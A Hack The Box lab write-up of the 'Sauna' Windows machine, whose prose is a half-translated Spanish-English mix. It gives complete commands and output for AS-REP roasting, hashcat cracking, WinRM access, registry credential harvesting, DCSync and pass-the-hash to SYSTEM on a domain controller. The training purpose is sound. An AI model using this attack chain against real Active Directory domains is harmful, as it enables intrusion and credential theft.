



HACK THE BOX · WINDOWS

Sauna

Complete technical writeup ·
reproducible exploitation

Sauna machine solved

HTB Sauna · 2026-04-23

Author	Ramon Santos Sabarich / r4ms4nt
Platform	Hack The Box
Status	Retired
Difficulty / System	Easy · Windows
Date	2026-04-23



Standardized technical report for archiving,
reference, and traceability.

READING GUIDE

Contents

1. Introduction	3
2. Reading guide	3
3. Target preparation and reconnaissance startup	3
4. Identification of the dominant surface	5
5. Name extraction from about.html	6
6. Consolidation of observed identities	7
7. From real names to user candidates	7
8. Before Kerberos: clock-skew correction	10
9. Identity validation through ASREPROasting	11
10. Hash preservation and offline work	12
11. Offline password recovery of fsmith	12
12. Initial access through WinRM as fsmith	13
13. Initial internal enumeration after the foothold	14
14. AutoLogon in the registry: the segunda credential	15
15. Resolution of the user discrepancy	15
16. Context switch a svc_loanmgr	16
17. Measuring the real value of svc_loanmgr	17
18. Active Directory collection with bloodhound-python	18
19. Correct methodological decision ante the atasco of BloodHound	19
20. Direct DCSync verification	19
21. Pass-the-Hash against Administrator	20
22. Final verification of full control	20
23. Complete technical chain summarized	21
24. Reusable lessons	22

Sauna - Final Didactic Technical Writeup (Expanded Version)

1. Introduction

Sauna is a retired Windows machine from Hack The Box, classified as *Easy*, but with a training value far greater than that label suggests. The observed resolution in this case does not depend on one spectacular vulnerability, but on an **Active Directory compromise chain** built step by step from real evidence: public information exposed on the website, identity derivation, Kerberos abuse, reuse of credentials found during internal enumeration and, finally, exploitation of delegated domain permissions until full compromise of the domain controller.

What makes Sauna especially good for study is that it forces several important ideas to be practised at the same time:

- how to distinguish between **visible surface** and **dominant surface**;
- how to turn an apparently harmless corporate website into **useful intelligence for Active Directory**;
- how to correctly interpret an **AS-REP roasting** user;
- how to read an account that looks modest locally, but has **much more domain weight** than it appears to have.

This document faithfully reconstructs the real resolution observed in the case notes. It does not redo the machine with an alternative route or fill gaps with imagination. When an interpretation appears, it is presented as an interpretation; when something was directly observed, it is presented as a verified fact.

2. Reading guide

The document is organized as a chronological technical narrative. Each phase keeps two clearly differentiated levels:

1. **what was actually observed**, that is, executed commands, obtained outputs and decisions made from evidence;
2. **the didactic reading**, which explains why that step was taken, what previous signal justified it, which part of the output really mattered and how it changed the next decision.

The idea is not to build a simple command history, but reusable material for later study.

3. Target preparation and reconnaissance startup

The machine starts with the usual laboratory workflow through the tool `Inici-HTB`, which sets the target, prepares the base directory, validates connectivity and launches the first scans.

Startup command

```
Inici-HTB SAUNA 10.129.95.180
```

What this startup aimed to achieve

This was not just about “seeing ports”. The initial startup had several concrete purposes:

- confirm that the target was alive;
- obtain an initial estimate of the operating system;
- build a complete snapshot of the TCP surface;
- identify services and versions with as little guesswork as possible.

Relevant output

```
PING 10.129.95.180 ... ttl=127  
10.129.95.180 (ttl -> 127): Windows
```

```
53/tcp    open  domain  
80/tcp    open  http  
88/tcp    open  kerberos-sec  
135/tcp   open  msrpc  
139/tcp   open  netbios-ssn  
389/tcp   open  ldap  
445/tcp   open  microsoft-ds  
464/tcp   open  kpasswd5  
593/tcp   open  http-rpc-epmap  
636/tcp   open  ldapssl  
3268/tcp  open  globalcatLDAP  
3269/tcp  open  globalcatLDAPssl  
5985/tcp  open  wsman  
9389/tcp  open  adws
```

AND in the escaneo of services:

```
80/tcp    open  http           Microsoft IIS httpd 10.0  
|_http-title: Egotistical Bank :: Home  
  
389/tcp   open  ldap           Microsoft Windows Active Directory LDAP (Domain:  
EGOTISTICAL-BANK.LOCAL0.)  
5985/tcp  open  http           Microsoft HTTPAPI httpd 2.0  
Host: SAUNA  
smb2-security-mode: Message signing enabled and required  
clock-skew: 6h59m59s
```

Technical interpretation

Here the important point is not “Windows with muchos puertos”, but **the exact combination** of services. DNS + Kerberos + LDAP + SMB + Global Catalog + WinRM + ADWS do not describe just any Windows host: they strongly describe a **domain controller**.

That nuance is crucial because it changes the entire strategy. In lugar of open several branches a the vez - web, SMB, WinRM, LDAP - it is better to first ask what evidence can help a **build valid identities**, understand domain authentication and find an entry point with the least possible noise.

Phase closure

The phase initial dejó cuatro facts important already fijados:

- the objective was Windows;
- su huella encajaba with a **DC**;
- the web corporate and the domain parecían pertenecer to the same context organizativo;
- the c lock skew was large and debía quedar anotado for phases posteriores with Kerberos.

4. Identification of the dominant surface

A primera vista there was a web accesible in 80/tcp, and could haber sido tentador tratarla as a aplicación vulnerable classic. Without embargo, the reading correct was distinta.

Verified fact

The web devolvía the título:

```
Egotistical Bank :: Home
```

and the domain LDAP identificado was:

```
EGOTISTICAL-BANK.LOCAL
```

Why this relationship mattered

Because une the public website with the domain internal. That not demuestra vulnerability web, but yes revela something quizá more useful in this phase: the web probablemente pertenece a the same organización that Active Directory and, by tanto, can exponer **real names**, cargos, structure internal or pistas of naming.

Didactic reading

In a environment AD, a web corporate can have much value incluso without presentar a sola vulnerability technical visible. A veces the primer salto not sale of “romper” the aplicación, but rather of **leerla as source of intelligence**.

By that the surface dominant not trató as “WEB-BASIS” in sentido classic, but rather as:

AD enum apoyada by intelligence public from the web.

5. Name extraction from about .html

With that hipótesis, the next step was mínimo and of very low noise: check si the web exponía names of people reutilizables.

Commands used

```
curl -s http://10.129.95.180/about.html -o about.html  
grep -Eoi '[A-Z][a-z]+ [A-Z][a-z]+' about.html | sort -u
```

What was expected

Not was looking for a vulnerability. was looking for something much more specific:

- names completos plausible;
- idealmente in a sección tipo *team*, *about us* or similar;
- suficientes for derivar users of the domain.

What the output returned

The expresión regular returned muchísimo noise of plantilla HTML, CSS and textos decorativos, but between toda that output aparecieron clearly seis names human plausible:

- Fergus Smith
- Bowie Taylor
- Hugo Bear
- Shaun Coins
- Sophie Driver
- Steven Kerb

Interpretation

This point is important because convierte a intuición in a Verified fact: the public website **yes exponía identities** useful for Active Directory.

The decision correct a basis of ahí not was jump a LDAP or SMB, but rather consolidar esos names in a artefacto clean of trabajo.

Reusable lesson

A public website in a laboratorio AD can not be the puerta of entrada technical, but yes a **basis of datos of names human**. AND that, in ciertos escenarios, vale more that a vulnerability noisy mal interpretada.

6. Consolidation of observed identities

For evitar that the noise of grep contaminara the next phase, the real names pasaron a file clean.

Command used

```
printf '%s\n' \  
'Fergus Smith' \  
'Bowie Taylor' \  
'Hugo Bear' \  
'Shaun Coins' \  
'Sophie Driver' \  
'Steven Kerb' > fullnames.txt
```

Verification:

```
cat fullnames.txt
```

Observed result

```
Fergus Smith  
Bowie Taylor  
Hugo Bear  
Shaun Coins  
Sophie Driver  
Steven Kerb
```

and the ubicación was left correctly fijada in:

```
/home/r4mon/pentest/targets/HTB/easy/SAUNA/content/users/fullnames.txt
```

Why this step has real value

Because separa **signal** of **noise** and convierte a observation in a artefacto operational reusable. That distinción importa much in writeups didácticos: a cosa is “vieron names in a web”, and otra better is “was left a list clean, trazable and list for derivation of accounts”.

7. From real names to user candidates

A vez obtained the names, the next step not was probar access a ciegas, but rather build a list reasonable of accounts posibles.

First broad derivation

generated a primera list usernames.txt with múltiples patrones habituales:

- nombre

- apellido
- nombre.apellido
- nombreapellido
- nombre_apellido
- inicialapellido
- and algunas variantes less sólidas

Block used

```
python3 - <<'PY'
from pathlib import Path

src = Path("fullnames.txt")
dst = Path("usernames.txt")

seen = set()
order = []

for line in src.read_text(encoding="utf-8").splitlines():
    name = line.strip()
    if not name:
        continue
    parts = name.lower().split()
    if len(parts) < 2:
        continue

    first = parts[0]
    last = parts[-1]

    candidates = [
        first,
        last,
        f"{first}.{last}",
        f"{first}{last}",
        f"{first}_{last}",
        f"{first[0]}{last}",
        f"{first}{last[0]}",
        f"{first[0]}.{last}",
        f"{last}.{first}",
        f"{last}{first[0]}",
    ]

    for candidate in candidates:
        if candidate not in seen:
            seen.add(candidate)
            order.append(candidate)

dst.write_text("\n".join(order) + "\n", encoding="utf-8")
print(f"[+] Guardados {len(order)} candidatos en {dst}")
PY
```

Useful output

```
[+] Guardados 60 candidatos en usernames.txt
fergus
```

```
smith
fergus.smith
fergussmith
fergus_smith
fsmith
...
```

What was learned from that output

The generación funcionó, but mezcló candidates strong with variantes bastante flojas. That is a point methodological important: a list more long not siempre is a list better.

Second derivation: prioritized list

By that generated afterwards usernames_priority.txt, conservando only cuatro patrones of more value initial:

- nombre.apellido
- nombreapellido
- nombre_apellido
- inicialapellido

Block used

```
python3 - <<'PY'
from pathlib import Path

src = Path("fullnames.txt")
dst = Path("usernames_priority.txt")

seen = set()
order = []

for line in src.read_text(encoding="utf-8").splitlines():
    name = line.strip()
    if not name:
        continue
    parts = name.lower().split()
    if len(parts) < 2:
        continue

    first = parts[0]
    last = parts[-1]

    candidates = [
        f"{first}.{last}",
        f"{first}{last}",
        f"{first}_{last}",
        f"{first[0]}{last}",
    ]

    for candidate in candidates:
        if candidate not in seen:
            seen.add(candidate)
            order.append(candidate)
```

```
dst.write_text("\n".join(order) + "\n", encoding="utf-8")
print(f"[+] Guardados {len(order)} candidatos prioritarios en {dst}")
PY
```

Relevant output

```
fergus.smith
fergussmith
fergus_smith
fsmith
bowie.taylor
bowietaylor
bowie_taylor
btaylor
...
```

Technical interpretation

This phase cierra very bien a idea important: in Active Directory not siempre gana quien genera more variantes, but rather quien genera variantes **better priorizadas** and sabe justificar by what empieza by unas and not by otras.

8. Before Kerberos: clock-skew correction

The enumeration initial already there was left a alerta very seria:

```
clock-skew: 6h59m59s
```

Before of use Kerberos, that debía corregirse.

Commands used

```
date -u
sudo ntpdate -q 10.129.95.180
sudo ntpdate -u 10.129.95.180
date -u
```

Relevant output

```
2026-04-23 20:44:15.93361 (+0200) +25202.319033 +/- 0.024418 10.129.95.180 s1
no-leap
CLOCK: time stepped by 25202.317982
```

What that output meant

The diferencia was of unas **siete horas**. Not was a detalle cosmético. Was a problema sufficiently large as for contaminar by completo cualquier reading later of Kerberos.

Why this step was mandatory

Kerberos depends of the time. Si the clock is roto, a technical can parecer fallida by a motivo completamente distinto of the that is interpretando.

Reusable lesson

A good list of users can quedar inutilizada by a clock desalineado. Before of declarar muerta path Kerberos, it is advisable asegurarse of that the time not is saboteando the reading.

9. Identity validation through ASREPROasting

With the time corregida and the prioritized list preparada, the next step was check si alguno of the candidates devolvía answer useful in Kerberos without password.

Command used

```
GetNPUsers.py EGOTISTICAL-BANK.LOCAL/ -usersfile usernames_priority.txt -no-pass  
-dc-ip 10.129.95.180
```

What this command was looking for

Not autenticaba users with passwords. What that hacía was preguntar to the KDC si algunan account had **Kerberos pre-authentication deshabilitada**, permitiendo así obtain a AS-REP roastable.

Observed output

The mayoría of candidates devolvieron:

```
KDC_ERR_C_PRINCIPAL_UNKNOWN
```

But uno returned something completamente distinto:

```
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:...
```

What was demonstrated here

This point valida of golpe several decisions anteriores:

1. the web yes aportó names useful;
2. the derivation of users not was arbitraria;
3. the convention inicial + apellido funcionó;
4. the account fsmith was real;
5. also, was **AS-REP roastable**.

Implication for the next phase

From here already not had sentido seguir ampliando lists of users or probar SMB/LDAP by inercia. The evidence dominant was much better: a hash Kerberos explorable offline.

10. Hash preservation and offline work

Before of cualquier cracking, the hash guardó in a file clean.

Block used

```
cat > asrep_fsmith.txt <<'EOF'
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:655d7bbbf26151b21bd1ee464be5be3c$1cc7
08ac52f286125fd08352f6102f10e3bb5bc62d5afb1bc146b1c05e60fbe0e9c0add9748c23d6aba8b
066fcab139b2703b87997b9c04961704371a39585722c3deef03c9ff20676130cd2aa130d6ff005ae
008f70ec9fe46f5eeeee064218fa9338ca8ac265ff8a2a50133b8615d119624116b317bd85e8e91632
e3a00f6ca2921b20d1d3803754a3326c17004c66c0c90be9426566bbe93e3c44aa633695a2b18248d
4f30034d6cede5fadad9556394056a83a254bef2c0b88e76f5b852a4212583793817a79d1b234993c
c606c7eb21ca344e912c7077fd431ecaee2be42bdcf713e790085cccf5bcc283324bc7d20a490178d
c5e47339d7bb0c6b929158
EOF

wc -l asrep_fsmith.txt
cat asrep_fsmith.txt
```

Verification

wc -l returned 1, what that confirmed that the artefacto useful estaba aislado in a sola línea and without noise.

Why it matters to document it

Because in a case así the hash already not is only a output of tool: moves a be a **artefacto central of the investigación**.

11. Offline password recovery of fsmith

Command used

```
hashcat -m 18200 asrep_fsmith.txt /usr/share/wordlists/rockyou.txt -O --outfile
cracked_fsmith.txt
cat cracked_fsmith.txt
```

What exactly does -m 18200

That modo corresponde a:

- Kerberos 5, etype 23, AS-REP

Is that is, the formato exacto of the material obtenido with GetNPUsers.py.

Observed result

Hashcat resolvió the password with rockyou.txt:

```
...:Thestrokes23
```

Recovered credential

- user: fsmith
- password: Thestrokes23

What changes from here

Until this point the path there was sido:

- names → users plausible → account real → hash AS-REP

Now the chain da salto cualitativo: already exists a **complete credential** and reusable.

The next step correct already not is “seguir abusando of Kerberos”, but rather check in what surface exposed that credential has value operational real.

12. Initial access through WinRM as fsmith

WinRM already estaba exposed from the phase of enumeration initial, así that was the opción more clean for validate the value práctico of the credential.

Command used

```
evil-winrm -i 10.129.95.180 -u fsmith -p 'Thestrokes23'
```

What was expected

- or a remote shell válida;
- or a fallo of autorización that obligara reinterpretar the alcance of the account.

Observed result

```
*Evil-WinRM* PS C:\Users\FSmith\Documents>
```

Verified fact

The credential not only was válida in abstracto, but rather **operational** in a service real of the system.

Didactic reading

This is the primer gran pivote of the case. The problema leaves of be “encontrar a debilidad of autenticación” and moves a be “enumerar correctly a foothold already conseguido”.

13. Initial internal enumeration after the foothold

A vez dentro as fsmith, the decision correct not was jump a tools pesadas, but rather fijar context.

Commands used

```
whoami
whoami /groups
hostname
ipconfig /all
systeminfo
echo %env:USERDOMAIN
echo %env:COMPUTERNAME
dir C:\Users
type C:\Users\FSmith\Desktop\user.txt
```

Summarized key output

```
whoami
egotisticalbank\fsmith
```

```
BUILTIN\Remote Management Users
BUILTIN\Users
BUILTIN\Pre-Windows 2000 Compatible Access
```

```
hostname
SAUNA
```

```
echo %env:USERDOMAIN
EGOTISTICALBANK
```

```
dir C:\Users
Administrator
FSmith
Public
svc_loanmgr
```

```
type C:\Users\FSmith\Desktop\user.txt
c06623afb7a5c08a412d732234887383
```

What really mattered in this output

- fsmith had remote access, but not parecía administrator;
- the flag of user already was legible;
- and, on todo, existía profile local of svc_loanmgr.

Why that profile changed the direction of the case

Because sugería the presencia of otran account with more value potencial that fsmith. AND in Windows, when a service account leaves rastro local, merece the pena preguntarse si the system expone credentials or configuración asociadas a ella.

14. AutoLogon in the registry: the segunda credential

Command used

```
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
```

What was being searched for

The parámetros típicos of AutoLogon:

- DefaultDomainName
- DefaultUserName
- DefaultPassword

Relevant output

DefaultDomainName	REG_SZ	EGOTISTICALBANK
DefaultUserName	REG_SZ	EGOTISTICALBANK\svc_loanmanager
DefaultPassword	REG_SZ	Moneymakestheworldgoround!

What was demonstrated

The system almacenaba cleartext password in the registry. That already not was a inference nor a conjetura: was a secreto reusable observed directly in the host.

The important discrepancy

Here appeared a matiz very fino, but decisivo:

- in C:\Users there was visto svc_loanmgr;
- in Winlogon aparecía svc_loanmanager.

Before of reutilizar the credential, tocaba resolver cuál was the name real of the account.

Reusable lesson

When a system expone a cleartext password, the tentación natural is probarla inmediatamente. The problema is that si the identificador of the user is mal interpretado, a credential perfectamente good can parecer inútil.

15. Resolution of the user discrepancy

Commands used

```
net user svc_loanmgr  
net user svc_loanmanager
```

Observed result

svc_loanmgr yes existía and devolvía information of account. svc_loanmanager not existía.

Also, svc_loanmgr pertenecía a:

- Domain Users
- Remote Management Users

Interpretation

The discrepancia was left resuelta. The password observed in AutoLogon seguía siendo válida as secreto exposed, but the name of user operational correct was:

- svc_loanmgr

Implicación

That permitía intentar a nuevo remote access with very good basis:

- name real verified;
- password observed in clear;
- pertenencia Remote Management Users.

16. Context switch a svc_loanmgr

Command used

```
evil-winrm -i 10.129.95.180 -u svc_loanmgr -p 'Moneymakestheworldgoround!'
```

Observed result

```
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents>
```

What significó this step

Until that momento, fsmith there was sido the puerta of entrada. A basis of here, the account main of trabajo moved a be svc_loanmgr.

AND here appears a idea very important in AD: an account can parecer modest from fuera, but have a weight enorme in the domain.

17. Measuring the real value of svc_loanmgr

The next step was confirm what groups and privileges had really this nuevan account.

First operational stumble

executed by error:

```
whoami / groups
whoami / priv
```

and that returned a error sintáctico:

```
ERROR: Invalid argument/option - '/'
```

Correction

The forma correct was:

```
whoami
whoami /groups
whoami /priv
```

Observed output

Groups:

```
BUILTIN\Remote Management Users
BUILTIN\Users
BUILTIN\Pre-Windows 2000 Compatible Access
...
```

Privileges:

```
SeMachineAccountPrivilege    Enabled
SeChangeNotifyPrivilege      Enabled
SeIncreaseWorkingSetPrivilege Enabled
```

What this output taught

AND this is uno of the grandes points didácticos of Sauna:

- svc_loanmgr **not** destacaba by privileges local potentes;
- not aparecían groups administrativos local;
- not saltaban privileges clásicos as SeImpersonatePrivilege.

That obligaba cambiar the question. The value of this account not parecía estar in the host local, but rather probablemente in the **domain**.

Reusable lesson

When an account not destaca nor by groups local nor by privileges of the token, not it is advisable descartarla too much rápido. In Active Directory, muchas accounts apparently discretas esconden su value in **ACLs, delegaciones and rights on objects of the domain**.

18. Active Directory collection with bloodhound-python

With that reading, the next decision was correct: recoger information of AD from fuera for understand what podía do svc_loanmgr in the domain.

Commands used

```
cd /home/r4mon/pentest/targets/HTB/easy/SAUNA/content
bloodhound-python -u svc_loanmgr -p 'Moneymaketheworldgoround!' -d
EGOTISTICAL-BANK.LOCAL -ns 10.129.95.180 -c All
zip bloodhound_sauna.zip *.json
ls -l *.json bloodhound_sauna.zip
```

Relevant output

```
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: egotistical-bank.local
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication.
INFO: Found 1 domains
INFO: Found 1 computers
INFO: Found 7 users
INFO: Found 52 groups
INFO: Found 3 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
```

What was learned here

The collection was válida and produjo several JSON and a ZIP listo for importar. The detalle of the fallo initial of the TGT not was the dato central, because the tool did *fallback* a NTLM and completó the recogida.

The real problem came later

The part local of analysis visual was left bloqueada by several tropiezos of the attacker environment:

- arranque of Neo4j as part of the setup;
- primera ejecución of BloodHound with componentes CE;
- mezcla between collection LEGACY and stack CE;
- problemas of navegador to the lanzarlo as root;

- bhapi.json roto by a carácter sobrante;
- and, finally, a fallo of migración SQL.

Why it is worth documenting

Because enseña lección methodological important: a tool local can atascarse **without that the exploitation esté mal encaminada**. The problema can estar in the viewer, not in the chain of attack.

19. Correct methodological decision ante the atasco of BloodHound

The investigación not detuvo a pelear indefinidamente with the viewer local. AND that was a decision very good.

Reasoning

A esas alturas already there was sufficient evidence for sostener a hipótesis strong:

- svc_loanmgr not destacaba locally;
- by tanto, what more reasonable was that su value estuviera in domain;
- si that was cierto, debía poder comprobarse directly.

The right question became

¿Has svc_loanmgr permissions of replicación on the domain?

20. Direct DCSync verification

Command used

```
impacket-secretsdump  
'EGOTISTICAL-BANK.LOCAL/svc_loanmgr:Moneymakestheworldgoround!@10.129.95.180'  
-just-dc-user Administrator
```

What this command was looking for

Not trataba of a volcado masivo. The opción -just-dc-user Administrator restringía the prueba a comprobación very specific: verify si the account had rights suficientes for extraer the material of the administrator of the domain.

Observed result

```
[*] Using the DRSUAPI method to get NTDS.DIT secrets  
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f9  
8e:::
```

```
[*] Kerberos keys grabbed
```

What was demonstrated

Esto cerró the duda more important of the case:

- svc_loanmgr had capacidad efectiva of **DCSync**.

That is the momento in the that the account leaves of be “interesante” and moves a be **crítica**.

Implicación

Already not hacía falta seguir enumerando ACLs or arreglar BloodHound for saber si the account had value. The demostración práctica already estaba hecha.

21. Pass-the-Hash against Administrator

With the NTLM hash of the Administrator in the mano, the next step was directo and coherente.

Command used

```
psexec.py EGOTISTICAL-BANK.LOCAL/Administrator@10.129.95.180 -hashes  
aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e
```

What was expected

A autenticación Pass-the-Hash exitosa and a remote shell with privileges máximos in the DC.

Observed result

```
[*] Found writable share ADMIN$  
[*] Uploading file ...  
[*] Creating service ...  
[*] Starting service ...  
Microsoft Windows [Version 10.0.17763.973]  
C:\Windows\system32>
```

Interpretation

The hash of the Administrator was plenamente reusable. In that point, the case already estaba prácticamente closed. Only faltaba do the Verification mínima of identity and reading of the final flag.

22. Final verification of full control

Commands used

```
whoami  
hostname  
type C:\Users\Administrator\Desktop\root.txt
```

Observed output

```
nt authority\system  
SAUNA  
2ebc5339eff500834123056f79cad936
```

Verified facts

- the context final was SYSTEM;
- the host was SAUNA;
- the root.txt was accesible.

With that was left confirmado the full compromise of the domain controller.

23. Complete technical chain summarized

The resolution real observed in Sauna was this:

1. Enumeration initial with huella clear of DC Windows.
2. Interpretation of the web as source of intelligence and not as path main of exploitation.
3. Name extraction real from about.html.
4. Creation of fullnames.txt.
5. Derivation of candidate users and priorización of conventions plausible.
6. Correction of the clock skew before of touch Kerberos.
7. ASREPROasting exitoso on fsmith.
8. Preservación of the hash and recovery offline of The strokes23.
9. remote access by WinRM as fsmith.
10. Enumeration internal and detección of the profile svc_loanmgr.
11. Consulta of the registry and hallazgo of AutoLogon with cleartext password.
12. Resolution of the discrepancia svc_loanmanager / svc_loanmgr.
13. remote access by WinRM as svc_loanmgr.
14. Comprobación of that the value real of the account not estaba in the host, but rather in the domain.
15. Collection of AD with bloodhound-python.

16. Atasco local of the viewer BloodHound and reevaluación methodological correct.
 17. Validación directa of DCSync with secretdump.
 18. Extracción of the NTLM hash of Administrator.
 19. Pass-the-Hash with psexec.py.
 20. Shell final as SYSTEM and reading of the root.txt.
-

24. Reusable lessons

The public website can be a source of identity, not a surface dominant of exploitation

Not toda web has that romperse. Algunas simplemente **alimentan better that ninguna otra phase** the construcción of identities válidas in AD.

The naming of users must trabajar as a artefacto, not as improvisación

Move of real names a fullnames.txt, then a usernames.txt and finally a usernames_priority.txt not was burocracia: was a manera ordenada of elevar the calidad of the next validación.

Kerberos without time correct engaña

The clock skew of siete horas habría fact very fácil interpret mal the phase of Kerberos. Correct the time was a precondition, not a comodidad.

A user AS-REP roastable cambia of verdad the case

When an account returns a AS-REP hash, the prioridad leaves of be ampliar lists of names and moves a be preservar that artefacto and trabajarlo offline.

A foothold initial not siempre is the user important of the case

fsmith was sufficient for entrar, but not for close the machine. Su verdadero value estuvo in permitir descubrir something better.

The registry of Windows sigue siendo a source of secretos brutal

Winlogon entregó a cleartext password. That mala práctica convirtió a enumeration post-foothold apparently simple in a pivote decisivo.

The weight real of an account can estar in the domain, not in sus groups local

That is quizá the aprendizaje more strong of Sauna. svc_loanmgr not impresionaba locally. But su impacto real estaba in Active Directory.

When the viewer falla, the chain not has by what estar rota

The atasco with BloodHound enseñó very bien a distinguish between:

- a problema of the objective;
- and a problema of the attacker environment.

AND that distinción ahorra muchísimo time.

